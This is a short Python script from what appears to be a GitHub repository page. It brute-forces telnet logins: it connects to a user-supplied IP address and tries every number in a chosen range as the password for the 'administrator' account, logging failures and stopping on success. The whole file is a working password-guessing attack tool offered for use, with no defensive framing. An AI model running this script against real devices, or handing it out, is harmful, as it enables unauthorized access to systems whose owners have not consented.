-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
26 lines (23 loc) · 966 Bytes
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from datetime import datetime
import telnetlib
host = input('Enter the IP address: ')
init_range = int(input('Enter the first digit: '))
final_range = int(input('Enter the last digit: '))
startTime = datetime.now()
for passw in range(init_range, final_range):
currentTime = datetime.now()
with telnetlib.Telnet(host) as tn:
passw = str(passw)
tn.write(b'\n')
tn.read_until(b'Username: ')
tn.write(b'administrator\n')
tn.read_until(b'Password: ')
tn.write(passw.encode('ascii') + b'\n' )
response = tn.read_until(b'invalid', 3)
if b'invalid' in response:
print('"administrator" y password "{}" fallo, esto tomo: {}'.format(passw, datetime.now() - currentTime))
else:
print('"administrator" y password "{}" funciono!! esto tomo: {}'.format(passw, datetime.now() - currentTime))
break
print(datetime.now() - startTime)
input('Press any key to exit')